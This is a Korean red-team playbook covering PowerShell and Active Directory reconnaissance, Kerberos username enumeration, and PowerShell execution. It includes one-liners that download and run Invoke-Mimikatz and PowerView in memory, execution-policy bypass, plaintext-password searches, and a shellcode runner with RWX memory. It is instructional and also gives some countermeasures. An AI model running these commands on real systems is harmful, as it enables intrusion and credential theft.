{% embed url="<https://github.com/blacklanternsecurity/MANSPIDER>" %}


# 정보 수집 - 파워쉘

로컬 호스트 정보 수집 페이지에서도 잠깐 언급했지만, cmd 및 파워쉘을 통한 정보 수집은 레드팀 작전의 작전보안에 적합하지 않다.

그러나 레드팀을 제외하고 모의해킹, 그리고 블루팀의 엔드포인트 감사/테스팅에서 파워쉘을 여전히 많이 쓰이고 있다. 따라서 아주 소수의, 고급 APT 공격 시뮬레이션을 하는 레드팀을 제외한다면 CMD 파워쉘을 통한 정보 수집은 아직도 많이 사용된다. 따라서 이 페이지에서는 파워쉘을 통한 로컬/도메인 정보 수집에 대해서 알아본다.

### 로컬

#### 기본

* 유저, 그룹, 호스트이름, 네트워킹, 프로세스 리스 등의 간단한 기본 정보를 수집한다.

```
# 유저 및 그룹 
whoami 
net user 
net users
net localgroups 
net group /domain 
net localgroup Administrators

# 프로세스 
ps 
Get-Process
tasklist.exe /V
wmic process get ProcessId,Description,ParentProcessId,ReadOperationCount,WriteOperationCount

# 호스트 이름 
hostname

# 네트워킹 - layer 2,3 
ipconfig /all 
route print
arp -a 

# 도메인 이름 
Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select Name, Domain
$env:USERDOMAIN

# OS 버전과 핫픽스 존재여부 
systeminfo 
Get-HotFix

# 파워쉘 세션 ID 확인. 0 = NT 서비스/시스템, 1++ = 유저 
(Get-Process -PID $pid).SessionID
```

#### 엔드포인트 보안

* AV/EDR 솔루션, AMSI, .NET 버전 (4.8+ = .NET AMSI), Applocker, Credential Guard, 파워쉘 Constrained Language Mode, 파워쉘 version 2, 로컬 방화 등의 엔드포인트 보안과 관련된 정보를 수집한다.

```
# 방화벽 
Get-NetFirewallProfile | Select-Object -Property name,enabled,DefaultInboundAction,DefaultOutboundAction,LogFileName

# AV/EDR 솔루션 
Get-Process 
wmic process get ProcessId,Description,ParentProcessId,ReadOperationCount,WriteOperationCount

# AV/EDR 이 없다면 디펜더 체크 
get-mppreference | select DisableRealtimeMonitoring 

# AMSI - 활성화 되어 있을 때 
Invoke-Mimikatz 
This script contains malicious content and has been blocked by your antivirus software.

# AMSI - 비활성화 
Invoke-Mimikatz 
invoke-mimikatz : The term 'invoke-mimikatz' is not recognized as the name of a cmdlet, function, script file, or operable program.

# .NET Version 
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse | Get-ItemProperty -Name version -EA 0 | Where { $_.PSChildName -Match '^(?!S)\p{L}'} | Select PSChildName, version

# Powershell CLM (Contrained Language Mode) 
$ExecutionContext.SessionState.LanguageMode

# Powershell Version 2
powershell.exe -v 2

# Credential Guard 
(Get-ComputerInfo).DeviceGuardSecurityServicesConfigured

# Applocker - Local, Default Domain policy 
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

# Applocker - Local registry 
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\ -Recurse

# 파워쉘 ExecutionPolicy 확인 및 Bypass 로 설정 
Get-ExecutionPolicy -List
$env:PSExecutionPolicyPreference="bypass"

```

#### 간단 정보 수집

```
# txt, xml, ini 파일안의 평문 비밀번호 
findstr /si password *.txt | *.xml | *.ini

# 파워쉘 히스토리 powershell history 
echo $env:userprofile 
cat %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# 데브옵스 및 배포 파일 
c:\sysprep.ini
c:\sysprep\sysprep.xml 
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

### 액티브 디렉토

* 파워쉘을 통한 도메인 정보 수집은 PowerView\.ps1 와 같은 툴을 이용하거나 [MS-ActiveDirectory Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) 을 이용한다. MS AD 모듈의 경우 설치되어 있지 않은 호스트들도 많기 때문에 Powerview 등의 툴을 많이 사용하는 편이다.
* Powerview 등의 파워쉘 기반의 도메인 정보 수집 툴을 이용하려면 [AMSI 우회](/defense-evasion/amsi-bypass)를 해야한다.
* 다음은 Powerview 기반의 정보 수집 명령어들이다.

```
# AMSI 우회 
< AMSI 우회 페이지를 참고한다 > 

# PowerView 로드 - BCSecurity - 최신이지만 에러 존재 
IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/situational_awareness/network/powerview.ps1')

# PowerView 로드 - HarmJoy 의 원본 PowerView 
iex(New-Object net.webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')

# 도메인  
Get-Domain
Get-DomainController -Domain <도메인>

# 도메인 신뢰/관계
Get-DomainTrust

# 포레스트
Get-Forest -Forest <포레스트이름>

# 도메인 유저 
Get-DomainUser | Select-Object samaccountname
Get-DomainUser | select-object samaccountname,description

# 커버로스팅 가능한 유저 
Get-DomainUser -SPN | Select-Object name,serviceprincipalname
Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName

# AS-Rep 가능한 유저 
Get-DomainUser -PreauthNotRequired | select-object name 

# 도메인 그룹 
Get-DomainGroup | Select-Object name

# 특정 그룹의 유저 
Get-DomainGroupMember -Identity "<그룹이름>" -Recurse | Select-Object -Property GroupName,MemberName | Format-Table

# 도메인 컴퓨터 
Get-DomainComputer -Domain <도메인> | Select-Object dnshostname
Get-DomainComputer -Domain <도메인> | Select-Object dnshostname | %{Test-Connection -count 1 -ComputerName $_.dnshostname} *>&1

# 도메인 GPO 
Get-DomainGPO | Select-Object displayname

# 잠재적 허니팟 (honeypot) 유저 
Get-DomainUser | select-object cn,pwdlastset,badpwdcount,logoncount

# 현 유저가 로컬 관리자 권한을 갖고 있는 호스트 
Find-LocalAdminAccess -Domain <도메인>

# 도메인 내 공유된 폴더 
Find-DomainShare -Domain <도메인>

# Unconstrained Delegation 호스트 
Get-DomainComputer -Unconstrained
```


# 정보 수집 - C# - TODO


# 커버로스 유저 이름 정보수집

Discovery (TA0007) + Account Discovery (T1087)

### 개념

윈도우의 사용자 인증 프로토콜 중 하나인 커버로스 (Kerberos) 프로토콜은 특정 유저 이름이 존재하는지에 대한 요청에 존재한다/존재하지 않는다라는 응답을 보낸다. 더 정확하게 설명하자면, 공격자가 유저 이름만 가지고 `KRB_AS_REQ` (커버로스 Authentication Service 요청) 을 보내면 도메인 컨트롤러는 다음과 같이 응답한다.

* 유저 계정 존재 - `KRB5KDC_ERR_PREAUTH_REQUIRED` - 유저가 존재하지만 커버로스 인증 6단계 중 첫 2단계인 Pre-Authentication 이 필요하다는 에러를 반환한다.
* 유저 계정 존재 X - `KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN` - 액티브 디렉토리 내 존재하지 않는 Principal 이라는 에러를 반환한다.

에러 메시지들의 차이 이용해 공격자들은 준비해놓은 유저 이름 리스트를 이용해서 어떤 유저 이름이 존재하는지 존재하지 않는지 확인할 수 있다 - 이를 커버로스 유저 이름 정보수집 (Kerberos Username Enumeration) 이라고 부른다.

커버로스 유저 이름 정보수집을 통해 얻은 도메인 유저 이름들은 다음과 같은 공격에 사용될 수 있다.

1. [비밀번호 스프레이](/credential-access/password-spraying) (Password Spraying)
2. 비밀번호 브루트포스 (Password Bruteforcing) - 실무에서는 계정 잠금 정책 (Account Lockout Policy) 때문에 잘 사용하지 않는 편이다.
3. [AS-REP Roasting](/credential-access/kerberos/as-rep-roasting)
4. [커버로스팅](/credential-access/kerberos/kerberoasting) (Kerberoasting) - 이미 도메인 유저 맥락을 갖고 있다면 커버로스팅을 진행할 수 있다

### 실습

1. 브루트포스 할 유저 이름 리스트를 구한다. 대부분의 액티브 디렉토리 유저 이름은 직원 이름 (ex. `s.choi@choi.local`) 인 경우가 많지만, 서비스 유저 계정 (`svc-scanner@choi.local`, `o365-mfa@choi.local`) 들의 경우 비슷비슷하게 설정해놓는 경우가 많아 브루트포스를 통해 발견할 수도 있다.

수많은 유저 이름 리스트가 존재하지만, 실습에서는 간단한 리스트를 이용한다.

```
wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt .
```

2\. [Kerbrute](https://github.com/ropnop/kerbrute) 를 통해 브루트포스를 진행한다

```
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 .
chmod +x ./kerbrute_linux_amd64
mv kerbrute_linux_amd64 kerbrute

./kerbrute userenum -d <domain> --dc <DC-IP> <userlist-file> | tee <output-filename> 
```

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-e70b3f7f265c93597a20ffd0e01dd494f70becc5%2Fimage.png?alt=media)

3\. 알아챈 유저 이름 리스트를 갖고 Password Spraying, AS-REPRoasting, Kerberoasting 등을 진행한다.

### 대응 방안

* 원천적으로 커버로스 유저 이름 정보수집을 막는 방법은 없다 - 적어도 마이크로소프트사나 커버로스를 만든 MIT에서 커버로스 프로토콜 자체를 바꾸지 않는 한 없다.
* 단, 특정 IP주소나 도메인 유저 맥락을 통해 짧은 시간 안에 커버로스 유저 이름 확인 요청을 보내는 공격자를 탐지할 수 있는 방법은 있다. 방어자들은 탐지 후 공격자를 특정하여 격리하는 식으로 이 공격에 대응할 수 있다.

### 레퍼런스

{% embed url="<https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/>" %}

{% embed url="<https://research.splunk.com/endpoint/d82d4af4-a0bd-11ec-9445-3e22fbd008af/>" %}

{% embed url="<https://github.com/attackdebris/kerberos_enum_userlists>" %}


# CME - 호스트이름과 IP주소

내부망 모의해킹 중 도메인 유저를 장악했다면, 액티브 디렉토리내의 모든 호스트들의 리스트를 알아낼 수 있다. 블러드하운드로 LDAP 데이터를 뽑아와도 되지만, 이때 LDAP 데이터는 오래된 데이터들도 있기 때문에 거기서 얻는 호스트 리스트는 불완전한 경우가 많다.

CME를 이용해 현재 액티브 디렉토리내에 DNS 레코드가 있고, IP주소가 제대로 설정되어 있는 모든 호스트들을 빠르게 뽑는 방법이 있다.

또한, 고랭 툴인 MapCidr를 이용해 호스트 리스트를 기반으로 타겟 CIDR 까지 만들어낼 수 있다.

```
go install -v github.com/projectdiscovery/mapcidr/cmd/mapcidr@latest
```

### 타겟 CIDR

```
cme ldap dc01.choi.local -u Administrator -p 'Password123!' -M get-network
cat /root/.cme/logs/choi.local_network_2023-02-28_232638.log | ~/go/bin/mapcidr -aa -silent | ~/go/bin/mapcidr -a -silent
```

### 타겟 호스트이름 + IP 주소

```
cme ldap dc01.choi.local -u Administrator -p 'Password123!' -M get-network -o ALL=true
```


# LDAP Anonymous Bind

```
cme ldap <dc> -u '' -p '' --users 
cme ldap <dc> -u '' -p '' --groups
cme ldap <dc> -u '' -p '' --password-not-required
```

### 대응 방안

* ADSI Edit > "Configuration" > CN=Services > CN=Windows NT > CN=Directory Service > Properties > dSHeuristics = \<not set> OR `NOT 0000002`.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-04812c2349d7f8d40e7c6b26d6c5485f3f549a30%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

* Remove `Anonymous LOGON` groups having `READ` permission on `Users` Container.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-af429b0f9c32b81763cc80d580a9144f75f0974c%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>


# 개념

TA0002

실행은 공격자가 타겟 호스트에서 코드를 실행하는 단계다. 코드를 실행하는 방법은 비단 바이너리 파일 뿐만 아니라 많이 있다. 실행 단계에는 많은 TTP들이 있지만, 잘 알려지고 개인적으로 사용해본 실행 TTP는 다음과 같다:

* 스크립트 언어와 인터프리터
  * 파워쉘
    * 파워쉘 + 파워쉘
    * 파워쉘 + C#
    * 파워쉘 + winapi
  * cmd + Batch 스크립트
  * 파이썬 Interpreter + 파이썬 코드
* 쉘코드와 프로세스 인젝션 (왜 프로세스 인젝션 T1055이 권한 상승인지 이해가 잘 안간다)
* Fork & Run
* Inline Process Execution
* 악성코드 컨테이너화
  * ISO/IMG
  * 악성 가상머신 + Hyper-V
* Native API
  * WinAPI
  * Direct Syscalls (시스템 콜)
* Scheduled Task
  * Cronjobs
  * 작업 스케줄
* LOLBAS, LOLBINS
  * 각 운영체제에 기본적으로 설치되어 있는 기본 바이너리 파일들을 이용해 코드실행, 파일 다운로드, 데이터 유출 등을 진행
* WMI

이 페이지에서는 공격자들이 다양한 방법으로 어떻게 코드를 실행하는지에 대해서 알아본다.


# 파워쉘

### 파워쉘이란

"파워쉘은 명령줄 쉘, 스크립팅 언어, 그리고 구성 관리 프레임워크로 구성된 플랫폼 간 작업 자동화 솔루션이다" - MSDN. 가끔 파워쉘 == `powershell.exe` 혹은 파워쉘은 스크립팅 언어다 하는 오해가 있지만, 사실 그 모든 것을 합한 것이 파워쉘이다. 또한, 파워쉘의 근본은 바로 `System.Management.Automation.dll` 이라는 DLL이다. `powershell.exe` 는 그 DLL을 감싸는 wrapper 일 뿐이다.

### Why Powershell?

파워쉘은 .NET Framework (닷넷 프레임워크) 기반으로 개발되었기 때문에 닷넷 기반의 런타임, 다양한 프로그래밍 언어들과의 소통, 라이브러리, 그리고 개발자 툴을 모두 사용할 수 있는 솔루션이다. 때문에 시스어드민들과 개발자들은 파워쉘을 이용해 데스크탑 어플리케이션, 웹, 클라우드, 모바일, IoT, AI, 레지스트리, COM, WMI, 오피스 솔루션, XML/CSV/JSON, Hyper-V 들과 소통을 할 수 있다.

그리고 그것은 곧 공격자들 또한 파워쉘을 이용해 저 모든 것들과 소통할 수 있음을 의미한다.

### 공격자의 관점에서의 파워쉘

2010년 데프콘에서 David Kennedy 와 Josh Kelly가 발표한 "[Powershell... omfg](https://youtu.be/q5pA49C7QJg)" 토크 이후 파워쉘에 관련된 공격자들의 관심이 크게 증가했다. 공격자들에게 있어서 파워쉘의 매력은 다음과 같다:

* 강력함 - 닷넷 프레임워크와 윈도우API 와의 소통, Living off the Land 를 통한 횡적이동
* 접근성 - Win7 SPI1, Win2008 R2 SPI1 이후로 모든 워크스테이션과 서버 OS가 자동적으로 설치되어 있고 활성화 되어 있음
* 개발 난이도 - 스크립팅 언어이자 매니지드 (managed) 언어이기 때문에 개발에 용이함
* 인메모리 실행 - "Fileless Attack" 이라고도 불렸던, 2010년대 초 당시에는 획기적이였던 공격 방식
* 블루팀의 약한 인지도
  * 시스어드민들 조차 2010년대 초반까지 대중적으로 사용하지 않았음
  * 부족한 문서화, OOP 프로그래밍의 입문 난이도 - 파워쉘이 정식 출시된 2006년도 당시 시스어드민들의 프로그래밍 관련된 지식 부족
  * 기본적인 파워쉘 로깅 (logging)의 부재 및 당시 AV들의 부족함

이 모든 것들이 어우러져 공격자들은 빠른 속도로 당시 PE바이너리 기반이였던 자신들의 툴링을 모두 파워쉘로 변환하기 시작했다. 이는 곧 2010년 \~ 2017년동안 이뤄진 공격자들의 파워쉘 전성기를 열게 된다.

### 파워쉘 툴링

2012년도 Matt Graeber의 "Why I choose Powershell as an attack platform" 블로그를 기반으로 공격자들의 파워쉘 툴링 시대가 시작됐다.

<table><thead><tr><th>종류</th><th>프로젝트</th><th data-hidden></th></tr></thead><tbody><tr><td>C2 프레임워크</td><td>Powershell Empire, PoshC2, FudgeC2</td><td></td></tr><tr><td>정보 수집</td><td>PowerView, Invoke-PortScan, Powershell-AD-Recon, PSRecon</td><td></td></tr><tr><td>계정 정보 탈취</td><td>Invoke-Mimikatz, Get-Keystrokes, Get-MicrophoneAudio</td><td></td></tr><tr><td>코드 실행</td><td>Invoke-DLLInjection, Invoke-Shellcode, PowerPick</td><td></td></tr><tr><td>Reflective PE Injection</td><td>Invoke-ReflectivePEInjection</td><td></td></tr><tr><td>파워쉘 난독화</td><td>Invoke-Obfuscation, Chameleon</td><td></td></tr><tr><td>Post-Exploitation</td><td>PowerSpoit, PowerTools, Nishang, Powershell Suite</td><td></td></tr></tbody></table>

### 파워쉘 보안

공격자들의 파워쉘에 대한 관심도가 증가하면서 마이크로소프트사에서는 파워쉘 버전 5.0과 5.1에서 드디어 보안과 관련된 기능들을 업데이트 하기 시작했다.

* Powershell Language Mode - Constrained Lanaguge Mode 로 설정시 .NET 어셈블리 로드, WinAPI, 공격적 cmdlet 금지
* Transcript Logging - Over-the-Shoulder Transcription, 메타데이터 모두 로깅
* Deep Script Block Logging - 파워쉘 난독화 무력화 -> 메모리상에서 난독화가 풀린 파워쉘 코드를 로깅. 공격용으로 쓰이는 120개의 중요 함수/키워드 금지
* AMSI (Anti-Malware Scan Interface) - 윈도우 어플리케이션과 AV/EDR간의 API 제공. 악성 파워쉘 메모리상에서 탐지 후 제거

### 파워쉘 근황

2022년도 기준으로 몇 몇 APT 그룹들, 랜섬웨어 갱들, 그리고 내부망 모의해커들은 여전히 파워쉘을 많이 사용하고 있는 중이다. 하지만 실력 좋은 (정부 배후/후원) APT 그룹들과 업계 내 레드팀들은 .NET, nimlang, golang, BOF, COFF 등의 트레이드 크래프트 (tradecraft)로 넘어갔다.

2010년 \~ 2017년 동안 이뤄진 공격자들의 파워쉘 전성기는 끝난지 5년이나 되었지만, 여전히 파워쉘은 공격에 꽤나 많이 쓰이고 있다.


# 인메모리 실행

파워쉘 공격의 가장 큰 장점 중 하나는 바로 메모리상에서 파워쉘 코드를 실행시킬 수 있다는 것이다. 인메모리 실행 (In-Memory Execution)이라고도 불리고, 2010년대 중반에는 "Fileless Attack" 공격으로도 불렸었다. 말 그대로 디스크에 파일이 없이 공격이 가능하다는 것이다. 이것이 가능한 이유는 파워쉘이 인터프리티드 언어 (Interpreted Language) 이기 때문이다. 파워쉘 코드를 `powershell.exe` 프로세스에서 실행할 경우 백엔드의 인터프리터가 코드 한 줄 한 줄을 메모리상에서 실행 시킨다.

인메모리 실행을 할 경우 디스크에 악성 파일이 남지 않고, 정적 분석이 아닌 메모리분석을 해야하기 때문에 방어 우회를 하기가 조금 더 편하다 - 편했었다. 2022년도 기준에는 파워쉘 로깅 및 보안이 워낙 더 탄탄하기 때문에 오히려 인메모리 파워쉘 실행이 더 어렵기도 하다.

### 실습

실습에서는 윈도우 디펜더를 끈 상태에서 진행한다. 추후 윈도우 디펜더 및 AMSI를 우회하는 방법에 대해서는 [AMSI 우회 페이지](/defense-evasion/amsi-bypass)에 따로 서술한다.

인메모리 실행은 다른 호스트에 있는 파워쉘을 다운로드 받은 뒤 로드 (Load) 시키는 형태로 이뤄진다.

```powershell
# 원격 파워쉘 다운 후 불러오기 
iex(new-object net.webclient).downloadstring("<url>");

# 예시 - BCSecurity의 empire 프로젝트에서 Invoke-Mimikatz.ps1 다운 + 불러오기 
 iex(New-Object net.webclient).DownloadString('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')
```

`(new-object net.webclient).downloadstring("<url>")` 를 통해 원격의 파워쉘 코드를 다운 받은 뒤, `iex` 로 다운 받은 파워쉘 코드를 실행 (Invoke-Expression) 하는 것이다. 이렇게 되면 현 파워쉘 프로세스에 원격 파워쉘 코드를 불러온 상태가 된다. 이 상태에서 불러온 파워쉘을 실행시키면 실행 결과가 나온다.

```powershell
PS C:\> Invoke-Mimikatz -Command "coffee"
Hostname: DESKTOP-71L41J7 / S-1-5-21-462821047-2831688090-1286352653

  .#####.   mimikatz 2.2.0 (x64) #19041 Nov 20 2021 08:28:06
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # coffee

    ( (
     ) )
  .______.
  |      |]
  \      /
   `----'
```

이를 한번에 묶어 다운로드 + 불러오기 + 실행을 한꺼번에 할 수도 있다.

```powershell
iex(New-Object net.webclient).DownloadString('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "coffee"
```


# C# 실행

C#과 파워쉘은 둘 다 닷넷 (프레임워크)를 기반으로 만들어졌기 때문에 C#에서 파워쉘을 불러오는 것도 가능하고, 파워쉘에서 C#을 불러오는 것도 가능하다. C# 뿐만 아니라 닷넷 프레임워크를 사용하는 boolang, iron-python, iron-ruby 등도 가능하다. 파워쉘에서 C#을 불러온 뒤, 그 C# 이 파워쉘을 실행하는 것도 가능하다.

### 주의사항

파워쉘 AMSI 뿐만 아니라 타겟 호스트가 .NET 4.8 이상의 닷넷 (프레임워크) 버전을 갖고 있다면 .NET AMSI 또한 우회해야한다. 이는 닷넷 어셈블리 내에서 인메모리 함수 패치등을 이용하면 된다.

### 실습

파워쉘에서 C#으로 만든 닷넷 어셈블리를 불러와보자. 일단 C# 코드를 컴파일 한 뒤, 이 어셈블리를 파이썬을 이용해 호스팅 한다.

```
using System;

namespace test
{
    public class test
    {
        public static void Main(string[] args)
        {
            Console.WriteLine("[+] hello, from C#!");
        }
    }
}

===============================

ps> python -m http.server 8443
```

유의해야 할 점은 클래스와 함수 모두 `public` 엑세스 제한을 가지고 있어야한다는 것이다.

이제 이 닷넷 어셈블리를 다운 받고, 불러온 뒤, 실행시킨다.

```
$a = (New-Object net.webclient).DownloadData('http://192.168.40.179:8443/test.exe')
$b = [System.Reflection.Assembly]::Load($a)
[test.test]::Main("")

[+] hello, from C#!
```

이를 원라이너로 만들 수도 있다.

```
[System.Reflection.Assembly]::Load((New-Object net.webclient).DownloadData('http://192.168.40.179:8443/test.exe')) | Out-Null; [<NameSpace>.<Class>]::Main("")

[+] hello, from C#!
```

\---

DLL을 만든 뒤 실행하는 것도 가능하다. 유의할 점은 실행할 함수가 `static` 이여야한다.

```
using System;

namespace test
{
    public class test
    {
        public static void Execute()
        {
            Console.WriteLine("[+] hello, from C#!");
        }
    } 
}

==========

[System.Reflection.Assembly]::Load((New-Object net.webclient).DownloadData('http://192.168.40.179:8443/test.dll')) | Out-Null; [test.test]::Execute()

[+] hello, from C#!
```


# 윈도우 API 실행

파워쉘에서는 윈도우 API를 실행할 수 있는 총 세 가지 방법이 있다.

* Add-Type
* .NET 어셈블리가 사용하는 윈도우 API를 찾아 실행하는 방법
* 윈도우 API의 메모리상 주소를 알아내고, 함수 포인터를 만든 뒤, 다이내믹 Assembly, Module, Type, Method 과 Delegate를 이용해 이 함수 포인터로 윈도우 API를 실행하는 방법

이 페이지에서는 1번과 3번에 대해서 알아본다.

### Add-Type

Add-Type 은 마이크로소프트사에서 공식적으로 지원하는 파워쉘에서 윈도우 API를 사용하는 방법 중 하나다. 더 정확하게 말하자면 파워쉘에서 C# 클래스를 작성한 뒤 메모리상에서 컴파일 하고 실행하는 함수 중 하나다.

먼저 PoC 쉘코드로 사용할 쉘코드를 msfvenom을 이용해 제작한다.

```
msfvenom -p windows/x64/messagebox text="stage0 shellcode" title="choi redteam playbook" -f ps1
```

다음은 파워쉘에서 윈도우 API를 이용해 MessageBox 쉘코드를 실행하는 PoC다.

<details>

<summary>Invoke-Addtype.ps1</summary>

```powershell
$csharpCode = @"

using System;
using System.Runtime.InteropServices;

public class winAPIClass { 

    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32", CharSet = CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@

Add-Type $csharpCode

[Byte[]] $buf = 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x3e,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x6f,0x48,0x1,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x3e,0x41,0x8b,0xc,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x3e,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x0,0x0,0x0,0x0,0x3e,0x48,0x8d,0x95,0xfe,0x0,0x0,0x0,0x3e,0x4c,0x8d,0x85,0xf,0x1,0x0,0x0,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x7,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x73,0x74,0x61,0x67,0x65,0x30,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x0,0x63,0x68,0x6f,0x69,0x20,0x72,0x65,0x64,0x74,0x65,0x61,0x6d,0x20,0x70,0x6c,0x61,0x79,0x62,0x6f,0x6f,0x6b,0x0

# Page commit | reserve, RWX 
$pAlloc = [winAPIClass]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $pAlloc, $buf.Length)
$pThread = [winAPIClass]::CreateThread(0,0,$pAlloc,0,0,0)        
```

</details>

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-835b39f6e11ac5f4a383a4986831a95e3c15c88f%2Fimage.png?alt=media)

#### 대응 방안

Add-Type이 실행될 때 C# 코드가 메모리상에서 컴파일 된다고 위에서 얘기했었다. 더 자세하게 얘기하자면 `csc.exe` 를 이용해 메모리상에서 C# 코드를 컴파일 하지만, 그 와중에 임시 파일을 디스크위에 작성한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-9846c6f320835f7153c497c67e7f3509504e7ae0%2Fimage.png?alt=media)

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-e5c92703e46e067042b7686a11b7848088298d68%2Fimage.png?alt=media)

2022년도 기준 `Add-Type` 를 이용한 파워쉘에서의 C# 코드 및 윈도우 API 실행은 유명한 TTP라 왠만한 AV/EDR 솔루션들 및 윈도우 디펜더는 이를 기본적으로 막는다.

### Dynamic Method

다음 코드들은 다음 두 개의 레퍼런스 - [Matt Graeber](https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-3/), [mez0](https://mez0.cc/posts/cobaltstrike-powershell-exec/), [DepthSecurity](https://depthsecurity.com/blog/obfuscating-malicious-macro-enabled-word-docs) 라는 분들의 코드 참고했다. 먼저 `LookUpFunction` 이라는 함수로 현 .NET AppDomain에 있는 어셈블리들 중 `System.dll` 닷넷 어셈블리를 찾고, 그 중 `UnsafeNativeMethod` 를 찾는다. 그 뒤, `GetMethods()` 함수를 통해 닷넷 어셈블리에서 `GetProcAddress` 와 `GetModuleHandle` 윈도우API를 찾는다. 그 뒤, 이들을 이용해 파라미터로 받아온 ModuleName과 FunctionName을 찾는다.

```powershell
# Unmanaged DLL 이름과 winAPI함수 이름을 입력값으로 받고, 함수 포인터를 반환함. 
function LookUpFunc {
    Param($module, $funcName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetProcAddress = $assem.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($module)))), $funcName))
}
```

